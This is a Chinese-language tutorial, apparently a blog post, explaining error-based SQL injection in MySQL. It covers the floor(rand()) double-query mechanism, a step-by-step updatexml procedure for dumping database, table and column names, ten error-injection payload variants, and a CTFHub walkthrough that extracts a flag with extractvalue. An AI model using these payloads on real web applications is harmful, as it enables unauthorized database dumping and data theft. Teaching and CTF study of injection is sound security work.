报错注入
报错注入是什么?
报错注入(Error-based SQL Injection)是针对数据库的一种攻击技术,它的原理是通过在Web应用的输入中注入特定的SQL命令,引发数据库错误信息的反馈,攻击者可以利用这些错误信息推断数据库的结构和内容。简单来说,就是攻击者通过刻意制造错误的SQL查询,从而获取数据库错误信息,进一步利用这些信息获取不应公开的数据。
报错注入的攻击方式主要包括:
.构造包含SQL语法错误的输入信息,以触发SQL错误信息的输出;
.依据错误信息回显来推测数据库结构;
.使用数据库的特定函数和命令,比如 OUTFILE 和 INTO DUMPFILE,来提取数据或操作文件系统。
报错注入攻击的原理是什么?
报错注入攻击的原理主要是利用了数据库系统在执行发生错误的SQL语句时会返回错误信息的特性,攻击者会故意构造出能够引发数据库错误的SQL语句,然后通过分析数据库返回的错误信息进行数据库的结构和数据内容的推断。
具体步骤可以分为以下几点:
-
输入错误的SQL查询:攻击者首先通过Web应用的输入字段发送错误或特殊构造的SQL命令,比如在应该输入用户名的位置输入SQL语句的一部分。
-
分析返回的错误信息:由于输入的SQL命令是错误的,数据库会返回一个错误信息,这个错误信息可能包含数据库的结构信息或者查询结果的一部分。
-
信息收集:依赖返回的错误信息,攻击者可以逐步收集有关数据库的各种信息,如表名、列名、数据类型等。
-
深入查询更多数据:掌握了数据库的基本结构信息后,攻击者可以继续发送更多专门构造的错误查询,从而获取更多的数据。
举例来说,假设原本的查询语句是 SELECT * FROM users WHERE username = '[user_input]'
,攻击者可能会输入类似于 ' OR 1=1 --
这样的内容,这样就修改了原本的查询逻辑,在后面的 --
是 SQL 注释的开始,这会使得数据库忽略其后的正常的SQL语句部分,只执行修改后的注入代码。
常见的报错注入
双查询报错注入、exp函数报错注入、Extractvalue函数报错注入、updatexml函数报错注入、join语句报错注入、GeometryCollection函数报错注入等,这里重点讲解一下双查询报错注入。
在进行双查询注入的时候我们要首先了解几个知识点:
什么是双查询注入
双查询是指两个查询语句的嵌套,也就是一个select语句中在去套一个select语句,然后利用group by 语句和floor函数的结合去报错,再将我们需要的信息显示到报错信息中。
双查询中用到的语句以及函数
group by 语句 : 分组语句(SQL GROUP BY 语句 (w3school.com.cn))
count函数 : 统计函数(SQL COUNT() 函数 (w3school.com.cn))
concat函数 : 连接字符串函数(SQL CONCAT() 函数_w3cschool)
floor函数 : 向下取整函数(SQL Server FLOOR() 函数 (w3schools.cn))
rand函数 : 取随机数函数(SQL Server RAND() 函数 (w3schools.cn))
limit语句 : 限制返回行数(SQL Limit子句 - SQL教程 (yiibai.com))
双查询注入的报错原理
双查询注入实际上是通过group by 语句的报错,group by语句报错的原因是floor(rand()*2)的不确定性,可能为0也可能为1。
group by key的原理是循环读取数据的每一行,并将结果保存于一张临时表中。读取每一行的key时,如果key存在于临时表中,则不更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。
我们接下来模拟一次group by 语句的执行:
1、当第一次将数据存储到临时表时,假设扫描到的是 0 ,此时临时表中不存在 0 ,所以需要将 0 插入到临时表中,但是在插入时会再执行一次floor(rand()*2)语句,这次执行结果值假设为 1,那么就会将 1插入到临时表中,然后 count 的值就 +1 变成了1,这时临时表中就存在 1 (因为第一次扫描时,执行第 1 次 floor(rand()*2) 得到的是 0, 但是在插入时再次执行第 2 次 floor(rand()*2) 得到的是 1 ,所以插入的就是 1,因为函数特性原因,rand函数会优先执行,所以每一次插入前都会再次执行rand函数一次 )。
2、那么进行第二次扫描,执行的第 3 次 floor(rand()*2) 值假设为 1,这时因为临时表中存在有 1 ,所以 1 的 count 值就再 +1 变成了 2。
3、那么到第三次扫描的时候,执行的就是第 4 次 floor(rand()*2) ,这时得到的值假设为0 ( 这时因为临时表中不存在 0 ,所以需要进行插入操作,那么就需要执行第 4 次 floor(rand()*2) ,这时得到的值假设为 1 ),这时就会出现问题,到底是插入 1 把 count 值变为 1 呢,还是将 1 的之前 count 值 +1 变为 3呢,到这里系统就会抛出异常报错了。
可以看到我描述的都是“假设”,这是因为rand()产生的随机数是一个不确定的序列,可能这次是0下次就是1,上述我描述的是会让语句一定报错的一种假设情况,当我们去执行语句的时候并不一定是这种情况,也就不一定每次都会报错,当然可以通过多次刷新页面来进行报错(总有那么一次是错的)。
为了方便,我们可以通过输入语句rand(0)来让其产生一个固定的序列011011(至于为啥是固定的我也不清楚,记住就可以),当我们输入这条语句之后,因为序列是固定的,所以执行语句的时候产生的数字也是固定的,也就会必定报错,我上方描述的假设情况就是按照这条特殊语句描述。所以语句就变成了floor(rand(0)*2)
步骤总结
适用情况:页面有数据库的报错信息
报错信息必须是动态的、来自数据库的报错信息。
网站写死的、自定义的报错提示不算。
1. 判断是否报错:
参数中添加单/双引号,页面报错才可进行下一步。
?id=1' -- a
2. 判断报错条件:
参数中添加报错函数,检查报错信息是否正常回显
?id=1' and updatexml(1,'~',3) -- a
3. 脱库:
.获取所有数据库
?id=-1' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name)
from information_schema.schemata)
, 1 , 31)
),3) -- a
.获取所有表
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema = 'security')
, 1 , 31)
),3) -- a
.获取所有字段
?id=1' and updatexml(1,concat('~',
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users')
, 1 , 31)
),3) -- a
十种报错注入手法
1、floor报错注入
语句如下
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、extractvalue报错注入
语句如下
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3、updatexml报错注入
语句如下
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4、geometrycollection报错注入
语句如下
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5、multipoint报错注入
语句如下
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6、polygon报错注入
语句如下
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7、multipolygon报错注入
语句如下
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8、linestring报错注入
语句如下
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9、multilinestring报错注入
语句如下
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10、exp报错注入
语句如下
select * from test where id=1 and exp(~(select * from(select user())a));
可参考报错注入是什么?一看你就明白了。报错注入原理+步骤+实战案例-CSDN博客
例题
CTFHub SQL注入 报错注入
参数中添加单/双引号
1'
1'#
判断注入
当场景中仅仅将SQL语句带入查询返回页面正确,没有返回点的时候,需要报错注入,用报错的回显。
concat()函数
1.功能:将多个字符串连接成一个字符串。
2.语法:concat(str1,str2,…)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
extractvalue报错注入语句格式:
?id=2 and extractvalue(null,concat(0x7e,(sql语句),0x7e))
爆库
1 and extractvalue(null,concat(0x7e,(database()),0x7e))
爆库成功,库名为sqli
,爆表limit 0,1
爆破第一个表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))
limit 1,1
爆破第一个表
1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e))
爆表成功,sqli
库中有两张表,分别是news
,flag
,接下来爆字段名
1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))
得到字段名为flag
,接下来爆字段内容
1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))
得到一半flag,
只显示32位,很明显显示的flag不完全,我们需要借助mid函数来进行字符截取从而显示32位以后的数据。
SQL MID()语法
select mid(column_name,start[,length]) from table_name
在URL后面加上?id=2 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))
得flag